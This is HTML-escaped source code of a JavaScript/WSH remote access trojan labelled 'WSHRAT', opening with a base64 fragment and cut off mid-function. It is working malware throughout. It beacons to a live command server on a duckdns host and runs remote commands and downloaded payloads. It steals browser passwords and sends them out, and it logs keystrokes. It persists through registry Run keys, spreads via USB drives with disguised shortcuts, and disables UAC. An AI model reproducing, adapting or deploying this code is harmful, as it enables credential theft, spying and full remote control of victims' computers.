IgKyBmaWxlLmF0dHJpYnV0ZXMgKyBzcGxpdGVyOyAKICAgIH0KfWNhdGNoKGVycil7fQpyZXR1cm4gcmU7Cn0=\r\n\r\n\r\n------------------------------------------\r\n\r\n\r\n\/\/&lt;&#x5B; recoder : kognito (c) skype : live:unknown.sales64 ]&gt;\r\n\r\n\/\/=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=\r\n\r\nvar host = &quot;pluginsrv.duckdns.org&quot;;\r\nvar port = 7756;\r\nvar installdir = &quot;%appdata%&quot;;\r\nvar runAsAdmin = false;\r\nvar lnkfile = true;\r\nvar lnkfolder = true;\r\n\r\nif(runAsAdmin == true){\r\n\tstartupElevate();\r\n}\r\nif(WScript.Arguments.Named.Exists(&quot;elevated&quot;) == true){\r\n\tdisableSecurity();\r\n}\r\n\/\/=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=\r\n\r\nvar shellobj = WScript.createObject(&quot;wscript.shell&quot;);\r\nvar filesystemobj = WScript.createObject(&quot;scripting.filesystemobject&quot;);\r\nvar httpobj = WScript.createObject(&quot;msxml2.xmlhttp&quot;);\r\n\r\n\r\n\/\/=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=\r\n\r\nvar installname = WScript.scriptName;\r\nvar startup = shellobj.specialFolders(&quot;startup&quot;) + &quot;\\\\&quot;;\r\ninstalldir = shellobj.ExpandEnvironmentStrings(installdir) + &quot;\\\\&quot;;\r\nif(!filesystemobj.folderExists(installdir)){  installdir = shellobj.ExpandEnvironmentStrings(&quot;%temp%&quot;) + &quot;\\\\&quot;;}\r\nvar spliter = &quot;|&quot;;\r\nvar sdkpath = installdir + &quot;wshsdk&quot;;\r\nvar sdkfile = sdkpath + &quot;\\\\&quot; + chr(112) + chr(121) + chr(116) + chr(104) + chr(111) + chr(110) + chr(46) + chr(101) + chr(120) + chr(101);\r\nvar sleep = 5000; \r\nvar response, cmd, param, oneonce;\r\n\r\nvar inf = &quot;&quot;;\r\nvar usbspreading = &quot;&quot;;\r\nvar startdate = &quot;&quot;;\r\n\r\n\/\/=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=\r\n\r\ninstance();\r\n\r\nwhile(true){\r\n\ttry{\r\n\t\tinstall();\r\n\r\n\t\tresponse = &quot;&quot;;\r\n        response = post (&quot;is-ready&quot;,&quot;&quot;);\r\n\t\tcmd = response.split(spliter);\r\n\t\tswitch(cmd&#x5B;0]){\r\n            case &quot;disconnect&quot;:\r\n\t\t\t\t  WScript.quit();\r\n\t\t\t\t  break;\r\n\t\t\tcase &quot;reboot&quot;:\r\n\t\t\t\t  shellobj.run(&quot;%comspec% \/c shutdown \/r \/t 0 \/f&quot;, 0, true);\r\n\t\t\t\t  break;\r\n\t\t\tcase &quot;shutdown&quot;:\r\n\t\t\t\t  shellobj.run(&quot;%comspec% \/c shutdown \/s \/t 0 \/f&quot;, 0, true);\r\n\t\t\t\t  break;\r\n            case &quot;excecute&quot;:\r\n                  param = cmd&#x5B;1];\r\n\t\t\t\t  eval(param);\r\n\t\t\t\t  break;\r\n\t\t\tcase &quot;install-sdk&quot;:\r\n\t\t\t\t  installsdk();\r\n\t\t\t\t  break;\r\n\t\t\tcase &quot;get-pass&quot;:\r\n\t\t\t\t  passgrabber(cmd&#x5B;1], &quot;cmdc.exe&quot;, cmd&#x5B;2]);\r\n\t\t\t\t  break;\r\n\t\t\tcase &quot;get-pass-offline&quot;:\r\n\t\t\t\t  passgrabber(cmd&#x5B;3], &quot;cmdc.exe&quot;, &quot;ie&quot;);\r\n\t\t\t\t  passgrabber(&quot;null&quot;, &quot;cmdc.exe&quot;, &quot;chrome&quot;);\r\n\t\t\t\t  passgrabber(&quot;null&quot;, &quot;cmdc.exe&quot;, &quot;mozilla&quot;);\r\n\t\t\t\t  passgrabber2(cmd&#x5B;1], &quot;cmdc.exe&quot;, cmd&#x5B;2]);\r\n\t\t\t\t  break;\r\n\t\t\tcase &quot;update&quot;:\r\n\t\t\t\t  param = response.substr(response.indexOf(&quot;|&quot;) + 1);\r\n\t\t\t\t  oneonce.close();\r\n\t\t\t\t  oneonce = filesystemobj.openTextFile(installdir + installname ,2, false);\r\n\t\t\t\t  oneonce.write(param);\r\n\t\t\t\t  oneonce.close();\r\n\t\t\t\t  shellobj.run(&quot;wscript.exe \/\/B \\&quot;&quot; + installdir + installname + &quot;\\&quot;&quot;);\r\n\t\t\t\t  WScript.quit();\r\n\t\t\tcase &quot;uninstall&quot;:\r\n\t\t\t\t  uninstall();\r\n\t\t\t\t  break;\r\n\t\t\tcase &quot;up-n-exec&quot;:\r\n\t\t\t\t  download(cmd&#x5B;1],cmd&#x5B;2]);\r\n\t\t\t\t  break;\r\n\t\t\tcase &quot;bring-log&quot;:\r\n\t\t\t\t  upload(installdir + &quot;wshlogs\\\\&quot; + cmd&#x5B;1], &quot;take-log&quot;);\r\n\t\t\t\t  break;\r\n\t\t\tcase &quot;down-n-exec&quot;:\r\n\t\t\t\t  sitedownloader(cmd&#x5B;1],cmd&#x5B;2]);\r\n\t\t\t\t  break;\r\n\t\t\tcase  &quot;filemanager&quot;:\r\n\t\t\t\t  servicestarter(cmd&#x5B;1], &quot;fm-plugin.exe&quot;, information());\r\n\t\t\t\t  break;\r\n\t\t\tcase  &quot;rdp&quot;:\r\n\t\t\t\t  servicestarter(cmd&#x5B;1], &quot;rd-plugin.exe&quot;, information());\r\n\t\t\t\t  break;\r\n\t\t\tcase  &quot;keylogger&quot;:\r\n\t\t\t\t  keyloggerstarter(cmd&#x5B;1], &quot;kl-plugin.exe&quot;, information(), 0);\r\n\t\t\t\t  break;\r\n\t\t\tcase  &quot;offline-keylogger&quot;:\r\n\t\t\t\t  keyloggerstarter(cmd&#x5B;1], &quot;kl-plugin.exe&quot;, information(), 1);\r\n\t\t\t\t  break;\r\n\t\t\tcase  &quot;browse-logs&quot;:\r\n\t\t\t\t  post(&quot;is-logs&quot;, enumfaf(installdir + &quot;wshlogs&quot;));\r\n\t\t\t\t  break;\r\n\t\t\tcase  &quot;cmd-shell&quot;:\r\n\t\t\t\t  param = cmd&#x5B;1];\r\n\t\t\t\t  post(&quot;is-cmd-shell&quot;,cmdshell(param));\r\n\t\t\t\t  break;\r\n\t\t\tcase  &quot;get-processes&quot;:\r\n\t\t\t\t  post(&quot;is-processes&quot;, enumprocess());\r\n\t\t\t\t  break;\r\n\t\t\tcase  &quot;disable-uac&quot;:\r\n\t\t\t\t  disableSecurity();\r\n\t\t\t\t  updatestatus(&quot;UAC+Disabled+(Reboot+Required)&quot;);\r\n\t\t\t\t  break;\r\n\t\t\tcase  &quot;check-eligible&quot;:\r\n\t\t\t\t  if(filesystemobj.fileExists(cmd&#x5B;1])){\r\n\t\t\t\t\tupdatestatus(&quot;Is+Eligible&quot;);\r\n\t\t\t\t  }else{\r\n\t\t\t\t\tupdatestatus(&quot;Not+Eligible&quot;);\r\n\t\t\t\t  }\r\n\t\t\t\t  break;\r\n\t\t\tcase  &quot;force-eligible&quot;:\r\n\t\t\t\t  if(WScript.Arguments.Named.Exists(&quot;elevated&quot;) == true){\r\n\t\t\t\t\tif(filesystemobj.folderExists(cmd&#x5B;1])){\r\n\t\t\t\t\t\tshellobj.run(&quot;%comspec% \/c &quot; + cmd&#x5B;2], 0, true);\r\n\t\t\t\t\t\tupdatestatus(&quot;SUCCESS&quot;);\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\tupdatestatus(&quot;Component+Missing&quot;);\r\n\t\t\t\t\t}\r\n\t\t\t\t  }\r\n\t\t\t\t  else{\r\n\t\t\t\t\tupdatestatus(&quot;Elevation+Required&quot;);\r\n\t\t\t\t  }\r\n\t\t\t\t  break;\r\n\t\t\tcase  &quot;elevate&quot;:\r\n\t\t\t\t  if(WScript.Arguments.Named.Exists(&quot;elevated&quot;) == false){\r\n\t\t\t\t\ttry{\r\n\t\t\t\t\t  oneonce.close();\r\n\t\t\t\t\t  oneonce = null;\r\n\t\t\t\t\t  WScript.CreateObject(&quot;Shell.Application&quot;).ShellExecute(&quot;wscript.exe&quot;, &quot; \/\/B \\&quot;&quot; + WScript.ScriptFullName + &quot;\\&quot; \/elevated&quot;, &quot;&quot;, &quot;runas&quot;, 1);\r\n\t\t\t\t\t  updatestatus(&quot;Client+Elevated&quot;);\r\n\t\t\t\t\t}catch(nn){\r\n\t\t\t\t\t}\r\n\t\t\t\t\tWScript.quit();\r\n\t\t\t\t  }\r\n\t\t\t\t  else{\r\n\t\t\t\t  \t  updatestatus(&quot;Client+Elevated&quot;);\r\n\t\t\t\t  }\r\n\t\t\t\t  break;\r\n\t\t\tcase  &quot;if-elevate&quot;:\r\n\t\t\t\t  if(WScript.Arguments.Named.Exists(&quot;elevated&quot;) == false){\r\n\t\t\t\t\t  updatestatus(&quot;Client+Not+Elevated&quot;);\r\n\t\t\t\t  }\r\n\t\t\t\t  else{\r\n\t\t\t\t  \t  updatestatus(&quot;Client+Elevated&quot;);\r\n\t\t\t\t  }\r\n\t\t\t\t  break;\r\n\t\t\tcase  &quot;kill-process&quot;:\r\n\t\t\t\t  exitprocess(cmd&#x5B;1]);\r\n\t\t\t\t  break;\r\n\t\t\tcase  &quot;sleep&quot;:\r\n\t\t\t\t  param = cmd&#x5B;1];\r\n\t\t\t\t  sleep = eval(param);\r\n                  break;\r\n\t\t}\r\n\t\t\r\n\t}catch(er){}\r\n\tWScript.sleep(sleep);\r\n}\r\n\r\nfunction installsdk(){\r\n\ttry{\r\n\t\tvar sdkurl = post(&quot;moz-sdk&quot;, &quot;&quot;);\r\n\t\tvar objhttpdownload = WScript.CreateObject(&quot;msxml2.xmlhttp&quot;);\r\n\t\tobjhttpdownload.open(&quot;get&quot;, sdkurl, false);\r\n\t\tobjhttpdownload.setRequestHeader(&quot;cache-control:&quot;, &quot;max-age=0&quot;);\r\n\t\tobjhttpdownload.send();\r\n\r\n\t\tif(filesystemobj.fileExists(installdir + &quot;wshsdk.zip&quot;)){\r\n\t\t\tfilesystemobj.deleteFile(installdir + &quot;wshsdk.zip&quot;);\r\n\t\t}\r\n\t\t \r\n\t\tif (objhttpdownload.status == 200){\r\n\t\t  try{\r\n\t\t   var  objstreamdownload = WScript.CreateObject(&quot;adodb.stream&quot;);\r\n\t\t   objstreamdownload.Type = 1; \r\n\t\t   objstreamdownload.Open();\r\n\t\t   objstreamdownload.Write(objhttpdownload.responseBody);\r\n\t\t   objstreamdownload.SaveToFile(installdir + &quot;wshsdk.zip&quot;);\r\n\t\t   objstreamdownload.close();\r\n\t\t   objstreamdownload = null;\r\n\t\t  }catch(ez){\r\n\t\t\t\r\n\t\t  }\r\n\t\t}\r\n\t\tif(filesystemobj.fileExists(installdir + &quot;wshsdk.zip&quot;)){\r\n\t\t\t\/\/unzip the file \r\n\t\t\tUnZip(installdir + &quot;wshsdk.zip&quot;, sdkpath);\r\n\t\t\tupdatestatus(&quot;SDK+Installed&quot;);\r\n\t\t}\r\n\t}catch(err){}\r\n}\r\n\r\nfunction install(){\r\nvar lnkobj;\r\nvar filename;\r\nvar foldername;\r\nvar fileicon;\r\nvar foldericon;\r\n\r\nupstart();\r\n\r\nfor(var dri = new Enumerator(filesystemobj.drives); !dri.atEnd(); dri.moveNext()){\r\nvar drive = dri.item();\r\nif (drive.isready == true){\r\nif (drive.freespace &gt; 0 ){\r\nif (drive.drivetype == 1 ){\r\n\ttry{\r\n\t\tfilesystemobj.copyFile(WScript.scriptFullName , drive.path + &quot;\\\\&quot; + installname,true);\r\n\t\tif (filesystemobj.fileExists (drive.path + &quot;\\\\&quot; + installname)){\r\n\t\t\tfilesystemobj.getFile(drive.path + &quot;\\\\&quot;  + installname).attributes = 2+4;\r\n\t\t}\r\n\t}catch(eiju){}\r\n    for(var fi = new Enumerator(filesystemobj.getfolder(drive.path + &quot;\\\\&quot;).files); !fi.atEnd(); fi.moveNext()){\r\n\t\ttry{\r\n\t\tvar file = fi.item();\r\n        if (lnkfile == false){break;}\r\n        if (file.name.indexOf(&quot;.&quot;)){\r\n            if ((file.name.split(&quot;.&quot;)&#x5B;file.name.split(&quot;.&quot;).length - 1]).toLowerCase() != &quot;lnk&quot;){\r\n                file.attributes = 2+4;\r\n                if (file.name.toUpperCase() != installname.toUpperCase()){\r\n                    filename = file.name.split(&quot;.&quot;);\r\n                    lnkobj = shellobj.createShortcut(drive.path + &quot;\\\\&quot;  + filename&#x5B;0] + &quot;.lnk&quot;);\r\n                    lnkobj.windowStyle = 7;\r\n                    lnkobj.targetPath = &quot;cmd.exe&quot;;\r\n                    lnkobj.workingDirectory = &quot;&quot;;\r\n                    lnkobj.arguments = &quot;\/c start &quot; + installname.replace(new RegExp(&quot; &quot;, &quot;g&quot;), &quot;\\&quot; \\&quot;&quot;) + &quot;&amp;start &quot; + file.name.replace(new RegExp(&quot; &quot;, &quot;g&quot;), &quot;\\&quot; \\&quot;&quot;) +&quot;&amp;exit&quot;;\r\n                    try{fileicon = shellobj.RegRead (&quot;HKEY_LOCAL_MACHINE\\\\software\\\\classes\\\\&quot; + shellobj.RegRead (&quot;HKEY_LOCAL_MACHINE\\\\software\\\\classes\\\\.&quot; + file.name.split(&quot;.&quot;)&#x5B;file.name.split(&quot;.&quot;).length - 1]+ &quot;\\\\&quot;) + &quot;\\\\defaulticon\\\\&quot;); }catch(eeee){}\r\n                    if (fileicon.indexOf(&quot;,&quot;) == 0){ \r\n                        lnkobj.iconLocation = file.path;\r\n                    }else {\r\n                        lnkobj.iconLocation = fileicon;\r\n                    }\r\n                    lnkobj.save();\r\n                }\r\n            }\r\n        }\r\n\t\t}catch(err){}\r\n    }\r\n\tfor(var fi = new Enumerator(filesystemobj.getfolder(drive.path + &quot;\\\\&quot;).subFolders); !fi.atEnd(); fi.moveNext()){\r\n\t\ttry{\r\n\t\tvar folder = fi.item();\r\n        if (lnkfolder == false){break;}\r\n        folder.attributes = 2+4;\r\n        foldername = folder.name;\r\n        lnkobj = shellobj.createShortcut(drive.path + &quot;\\\\&quot;  + foldername + &quot;.lnk&quot;); \r\n        lnkobj.windowStyle = 7;\r\n        lnkobj.targetPath = &quot;cmd.exe&quot;;\r\n        lnkobj.workingDirectory = &quot;&quot;;\r\n        lnkobj.arguments = &quot;\/c start &quot; + installname.replace(new RegExp(&quot; &quot;, &quot;g&quot;), &quot;\\&quot; \\&quot;&quot;) + &quot;&amp;start explorer &quot; + folder.name.replace(new RegExp(&quot; &quot;, &quot;g&quot;), &quot;\\&quot; \\&quot;&quot;) +&quot;&amp;exit&quot;;\r\n        foldericon = shellobj.RegRead(&quot;HKEY_LOCAL_MACHINE\\\\software\\\\classes\\\\folder\\\\defaulticon\\\\&quot;); \r\n        if (foldericon.indexOf(&quot;,&quot;) == 0){\r\n            lnkobj.iconLocation = folder.path;\r\n        }else {\r\n            lnkobj.iconLocation = foldericon;\r\n        }\r\n        lnkobj.save();\r\n\t\t}catch(err){}\r\n    }\r\n}\r\n}\r\n}\r\n}\r\n}\r\n\r\nfunction startupElevate(){\r\n\tif(WScript.Arguments.Named.Exists(&quot;elevated&quot;) == false){\r\n\t\ttry{\r\n\t\t\tWScript.CreateObject(&quot;Shell.Application&quot;).ShellExecute(&quot;wscript.exe&quot;, &quot; \/\/B \\&quot;&quot; + WScript.ScriptFullName + &quot;\\&quot; \/elevated&quot;, &quot;&quot;, &quot;runas&quot;, 1);\r\n\t\t}catch(nn){\r\n\t\t}\r\n\t\tWScript.quit();\r\n\t}\r\n}\r\n\r\nfunction disableSecurity(){\r\n\tif(WScript.Arguments.Named.Exists(&quot;elevated&quot;) == true){\r\n\t\tvar oReg = GetObject(&quot;winmgmts:{impersonationLevel=impersonate}!\\\\\\\\.\\\\root\\\\default:StdRegProv&quot;);\r\n\t\toReg.SetDwordValue(0x80000002,&quot;SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System&quot;,&quot;EnableLUA&quot;, 0);\r\n\t\toReg.SetDwordValue(0x80000002,&quot;SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\System&quot;,&quot;ConsentPromptBehaviorAdmin&quot;, 0);\r\n\t\toReg = null;\r\n\t}\r\n}\r\n\r\nfunction uninstall(){\r\ntry{\r\nvar filename;\r\nvar foldername;\r\ntry{\r\n    shellobj.RegDelete(&quot;HKEY_CURRENT_USER\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run\\\\&quot; + installname.split(&quot;.&quot;)&#x5B;0]);\r\n    shellobj.RegDelete(&quot;HKEY_LOCAL_MACHINE\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run\\\\&quot; + installname.split(&quot;.&quot;)&#x5B;0]);\r\n}catch(ei){}\r\ntry{\r\nfilesystemobj.deleteFile(startup + installname ,true);\r\nfilesystemobj.deleteFile(WScript.scriptFullName ,true);\r\n}catch(eej){}\r\nfor(var dri = new Enumerator(filesystemobj.drives); !dri.atEnd(); dri.moveNext()){\r\nvar drive = dri.item();\r\nif (drive.isready == true){\r\nif (drive.freespace &gt; 0 ){\r\nif (drive.drivetype == 1 ){\r\n\tfor(var fi = new Enumerator(filesystemobj.getfolder(drive.path + &quot;\\\\&quot;).files); !fi.atEnd(); fi.moveNext()){\r\n         var file = fi.item();\r\n\t\t try{\r\n         if (file.name.indexOf(&quot;.&quot;)){\r\n             if ((file.name.split(&quot;.&quot;)&#x5B;file.name.split(&quot;.&quot;).length - 1]).toLowerCase() != &quot;lnk&quot;){\r\n                 file.attributes = 0;\r\n                 if (file.name.toUpperCase() != installname.toUpperCase()){\r\n                     filename = file.name.split(&quot;.&quot;);\r\n                     filesystemobj.deleteFile(drive.path + &quot;\\\\&quot; + filename&#x5B;0] + &quot;.lnk&quot; );\r\n                 }else{\r\n                     filesystemobj.deleteFile(drive.path + &quot;\\\\&quot; + file.name);\r\n                 }\r\n             }else{\r\n                 filesystemobj.deleteFile (file.path);\r\n             }\r\n         }\r\n\t\t }catch(ex){}\r\n     }\r\n\t for(var fi = new Enumerator(filesystemobj.getfolder(drive.path + &quot;\\\\&quot;).subFolders); !fi.atEnd(); fi.moveNext()){\r\n\t\tvar folder = fi.item();\r\n         folder.attributes = 0;\r\n     }\r\n}\r\n}\r\n}\r\n}\r\n}catch(err){}\r\nWScript.quit();\r\n}\r\n\r\nfunction post (cmd ,param){\r\ntry{\r\nhttpobj.open(&quot;post&quot;,&quot;http:\/\/&quot; + host + &quot;:&quot; + port +&quot;\/&quot; + cmd, false);\r\nhttpobj.setRequestHeader(&quot;user-agent:&quot;,information());\r\nhttpobj.send(param);\r\nreturn httpobj.responseText;\r\n}catch(err){\r\n\treturn &quot;&quot;;\r\n}\r\n}\r\n\r\nfunction information(){\r\ntry{\r\nif (inf == &quot;&quot;){\r\n    inf = hwid() + spliter;\r\n    inf = inf  + shellobj.ExpandEnvironmentStrings(&quot;%computername%&quot;) + spliter ;\r\n    inf = inf  + shellobj.ExpandEnvironmentStrings(&quot;%username%&quot;) + spliter;\r\n\r\n    var root = GetObject(&quot;winmgmts:{impersonationlevel=impersonate}!\\\\\\\\.\\\\root\\\\cimv2&quot;);\r\n    var os = root.ExecQuery (&quot;select * from win32_operatingsystem&quot;);\r\n   \r\n\tfor(var fi = new Enumerator(os); !fi.atEnd(); fi.moveNext()){\r\n\t\tvar osinfo = fi.item();\r\n       inf = inf + osinfo.caption + spliter;  \r\n       break;\r\n    }\r\n    inf = inf + &quot;plus&quot; + spliter;\r\n    inf = inf + security() + spliter;\r\n    inf = inf + usbspreading;\r\n    inf = &quot;WSHRAT&quot; + spliter + inf + spliter + &quot;JavaScript-v1.6&quot; ;\r\n    return inf;\r\n}else{\r\n    return inf;\r\n}\r\n}catch(err){\r\n\treturn &quot;&quot;;\r\n}\r\n}\r\n\r\n\r\nfunction upstart (){\r\ntry{\r\ntry{\r\n    shellobj.RegWrite(&quot;HKEY_CURRENT_USER\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run\\\\&quot; + installname.split(&quot;.&quot;)&#x5B;0],  &quot;wscript.exe \/\/B \\&quot;&quot; + installdir + installname + &quot;\\&quot;&quot; , &quot;REG_SZ&quot;);\r\n    shellobj.RegWrite(&quot;HKEY_LOCAL_MACHINE\\\\software\\\\microsoft\\\\windows\\\\currentversion\\\\run\\\\&quot; + installname.split(&quot;.&quot;)&#x5B;0],  &quot;wscript.exe \/\/B \\&quot;&quot; + installdir + installname + &quot;\\&quot;&quot; , &quot;REG_SZ&quot;);\r\n}catch(ei){}\r\nfilesystemobj.copyFile(WScript.scriptFullName, installdir + installname, true);\r\nfilesystemobj.copyFile(WScript.scriptFullName, startup + installname, true);\r\n}catch(err){}\r\n}\r\n\r\n\r\nfunction hwid(){\r\ntry{\r\nvar root = GetObject(&quot;winmgmts:{impersonationLevel=impersonate}!\\\\\\\\.\\\\root\\\\cimv2&quot;);\r\nvar disks = root.ExecQuery (&quot;select * from win32_logicaldisk&quot;);\r\nfor(var fi = new Enumerator(disks); !fi.atEnd(); fi.moveNext()){\r\nvar disk = fi.item();\r\n    if (disk.volumeSerialNumber != &quot;&quot;){\r\n        return disk.volumeSerialNumber;\r\n        break;\r\n    }\r\n}\r\n}catch(err){\r\n\treturn &quot;&quot;;\r\n}\r\n}\r\n\r\n\r\nfunction security(){\r\ntry{\r\nvar objwmiservice = GetObject(&quot;winmgmts:{impersonationlevel=impersonate}!\\\\\\\\.\\\\root\\\\cimv2&quot;);\r\nvar colitems = objwmiservice.ExecQuery(&quot;select * from win32_operatingsystem&quot;,null,48);\r\n\r\nvar versionstr, osversion;\r\nfor(var fi = new Enumerator(colitems); !fi.atEnd(); fi.moveNext()){\r\n    var objitem = fi.item();\r\n    versionstr = objitem.version.toString().split(&quot;.&quot;);\r\n}\r\n\r\n\/\/versionstr = colitems.version.split(&quot;.&quot;);\r\nosversion = versionstr&#x5B;0] + &quot;.&quot;;\r\nfor (var x = 1; x &lt; versionstr.length; x++){\r\n\t osversion = osversion + versionstr&#x5B;0];\r\n}\r\n\r\nosversion = eval(osversion);\r\nvar sc;\r\nif (osversion &gt; 6){ sc = &quot;securitycenter2&quot;; }else{ sc = &quot;securitycenter&quot;;}\r\n\r\nvar objsecuritycenter = GetObject(&quot;winmgmts:\\\\\\\\localhost\\\\root\\\\&quot; + sc);\r\nvar colantivirus = objsecuritycenter.ExecQuery(&quot;select * from antivirusproduct&quot;, &quot;wql&quot;, 0);\r\nvar secu = &quot;&quot;;\r\nfor(var fi = new Enumerator(colantivirus); !fi.atEnd(); fi.moveNext()){\r\n\tvar objantivirus = fi.item();\r\n    secu = secu  + objantivirus.displayName + &quot; .&quot;;\r\n}\r\nif(secu == &quot;&quot;){secu = &quot;nan-av&quot;;}\r\nreturn secu;\r\n}catch(err){}\r\n}\r\nfunction getDate(){\r\n    var s = &quot;&quot;;\r\n    var d = new Date();              \r\n    s += d.getDate() + &quot;\/&quot;;          \r\n    s += (d.getMonth() + 1) + &quot;\/&quot;; \r\n    s += d.getYear();\r\n    return s;                               \r\n}\r\nfunction instance(){\r\ntry{\r\ntry{\r\nusbspreading = shellobj.RegRead(&quot;HKEY_LOCAL_MACHINE\\\\software\\\\&quot; + installname.split(&quot;.&quot;)&#x5B;0] + &quot;\\\\&quot;);\r\n}catch(eee){}\r\nif(usbspreading == &quot;&quot;){\r\n   if (WScript.scriptFullName.substr(1).toLowerCase() == &quot;:\\\\&quot; +  installname.toLowerCase()){\r\n      usbspreading = &quot;true - &quot; + getDate();\r\n      try{shellobj.RegWrite(&quot;HKEY_LOCAL_MACHINE\\\\software\\\\&quot; + installname.split(&quot;.&quot;)&#x5B;0] + &quot;\\\\&quot;,  usbspreading, &quot;REG_SZ&quot;);}catch(eeeee){}\r\n    }else{\r\n      usbspreading = &quot;false - &quot; + getDate();\r\n      try{shellobj.RegWrite(&quot;HKEY_LOCAL_MACHINE\\\\software\\\\&quot; + installname.split(&quot;.&quot;)&#x5B;0]  + &quot;\\\\&quot;,  usbspreading, &quot;REG_SZ&quot;);}catch(eeeee){}\r\n    }\r\n}\r\n\r\nupstart();\r\n\r\nvar scriptfullnameshort =  filesystemobj.getFile(WScript.scriptFullName);\r\nvar installfullnameshort =  filesystemobj.getFile(installdir + installname);\r\nif (scriptfullnameshort.shortPath.toLowerCase() != installfullnameshort.shortPath.toLowerCase()){ \r\n    shellobj.run(&quot;wscript.exe \/\/B \\&quot;&quot; + installdir + installname + &quot;\\&quot;&quot;);\r\n    WScript.quit(); \r\n}\r\noneonce = filesystemobj.openTextFile(installdir + installname ,8, false);\r\n\r\n}catch(err){\r\n    WScript.quit();\r\n}\r\n}\r\n\r\nfunction decode_base64(base64_string){\r\n\tvar yhm_pepe = WScript.CreateObject(&quot;ADODB.Stream&quot;);\r\n\tvar spike = (WScript.CreateObject(&quot;Microsoft.XMLDOM&quot;)).createElement(&quot;tmp&quot;);\r\n\tspike.dataType = &quot;bin.base64&quot;;\r\n\tspike.text = base64_string;\r\n\tyhm_pepe.Type = 1;\r\n\tyhm_pepe.Open();\r\n\tyhm_pepe.Write(spike.nodeTypedValue);\r\n\tyhm_pepe.Position = 0;\r\n\tyhm_pepe.Type = 2;\r\n\tyhm_pepe.CharSet = &quot;us-ascii&quot;;\r\n\treturn yhm_pepe.ReadText();\r\n}\r\n\r\nfunction decode_pass(retcmd){\r\n\ttry{\r\n\t\tvar content, nss, command;\r\n\t\tif(retcmd == &quot;mozilla&quot;){\r\n\t\t\tcommand = &quot;give-me-ffpv&quot;;\r\n\t\t}else if(retcmd == &quot;chrome&quot;){\r\n\t\t\tcommand = &quot;give-me-chpv&quot;;\r\n\t\t}\r\n\t\tvar objhttpdownload = WScript.CreateObject(&quot;msxml2.xmlhttp&quot;);\r\n\t\tobjhttpdownload.open(&quot;post&quot;, &quot;http:\/\/&quot; + host + &quot;:&quot; + port +&quot;\/&quot; + command, false);\r\n\t\tobjhttpdownload.setRequestHeader(&quot;user-agent:&quot;, information());\r\n\t\tobjhttpdownload.send(&quot;&quot;);\r\n\r\n\t\tif(filesystemobj.fileExists(installdir + &quot;rundll&quot;)){\r\n\t\t\tfilesystemobj.deleteFile(installdir + &quot;rundll&quot;);\r\n\t\t}\r\n\t\t\r\n\t\tif (objhttpdownload.status == 200){\r\n\t\t  try{\r\n\t\t   var  objstreamdownload = WScript.CreateObject(&quot;adodb.stream&quot;);\r\n\t\t   objstreamdownload.Type = 1; \r\n\t\t   objstreamdownload.Open();\r\n\t\t   objstreamdownload.Write(objhttpdownload.responseBody);\r\n\t\t   objstreamdownload.Position = 0;\r\n\t\t   objstreamdownload.Type = 2;\r\n\t\t   objstreamdownload.CharSet = &quot;us-ascii&quot;;\r\n\t\t   content = objstreamdownload.ReadText();\r\n\t\t   nss = sdkpath + &quot;\\\\nss&quot;;\r\n\t\t   content = content.replace(new RegExp(&quot;%nss%&quot;, &quot;g&quot;), nss); \/\/for firefox\r\n\t\t   content = content.replace(new RegExp(&quot;%path%&quot;, &quot;g&quot;), installdir + &quot;Login Data&quot;); \/\/for chrome\r\n\t\t   var sw = filesystemobj.openTextFile(installdir + &quot;rundll&quot;, 2, true);\r\n\t\t   sw.write(content);\r\n\t\t   sw.close();\r\n\t\t   sw = null;\r\n\t\t   objstreamdownload.close();\r\n\t\t   objstreamdownload = null;\r\n\t\t  }catch(ez){}\r\n\t\t}\r\n\t\t\r\n\t\tshellobj.run(&quot;%comspec% \/c cd \\&quot;&quot; + sdkpath + &quot;\\&quot; &amp;&amp; &quot; + gsp(sdkfile) + &quot; &quot; + gsp(installdir + &quot;rundll&quot;) + &quot; &gt; \\&quot;&quot; + installdir + &quot;wshout\\&quot;&quot;, 0, true);\r\n\t\tWScript.sleep(2000);\r\n\t\tvar sr = filesystemobj.openTextFile(installdir + &quot;wshout&quot;);\r\n\t\tcontent = sr.readall();\r\n\t\tsr.close();\r\n\t\tsr = null;\r\n\t\t\r\n\t\tfilesystemobj.deleteFile(installdir + &quot;rundll&quot;);\r\n\t\tfilesystemobj.deleteFile(installdir + &quot;wshout&quot;);\r\n\t\t\r\n\t\tpost(retcmd, content);\r\n\t}catch(err){\r\n\t}\r\n}\r\n\r\nfunction chr(code){\r\n\treturn String.fromCharCode(code);\r\n}\r\n\r\nfunction gsp(path){\r\n\treturn filesystemobj.getFile(path).shortPath;\r\n}\r\n\r\nfunction passgrabber (fileurl, filename, retcmd){\r\ntry{\r\n\tvar objfsodownload = WScript.CreateObject(&quot;scripting.filesystemobject&quot;);\r\n\tvar content, profile, folder;\r\n\r\n\tif (retcmd == &quot;ie&quot;){\r\n\t\tcontent = decode_base64(fileurl);\r\n\t\teval(content);\r\n\t\treturn;\r\n\t}else if(retcmd == &quot;chrome&quot;){\r\n\t\tfolder = shellobj.ExpandEnvironmentStrings(&quot;%temp%&quot;);\r\n\t\tfolder = folder.substr(0, folder.toLowerCase().indexOf(&quot;temp&quot;)) + &quot;Google\\\\Chrome\\\\User Data\\\\Default\\\\Login Data&quot;;\r\n\t\tif (objfsodownload.fileExists(folder) ){\r\n\t\t\tobjfsodownload.copyFile(folder, installdir + &quot;Login Data&quot;, true);\r\n\t\t\t\r\n\t\t\tif (objfsodownload.fileExists(sdkfile)){\r\n\t\t\t\t\/\/'proceed decoding\r\n\t\t\t\tdecode_pass(retcmd);\r\n\t\t\t\tobjfsodownload.deleteFile(installdir + &quot;Login Data&quot;);\r\n\t\t\t}else{\r\n\t\t\t\t\/\/'request for sdk\r\n\t\t\t\tpost(&quot;show-toast&quot;, &quot;WSH Sdk for password recovery not found, You can install this SDK from the password recovery menu&quot;);\r\n\t\t\t}\r\n\t\t}else{\r\n\t\t\tpost(retcmd, &quot;No Password 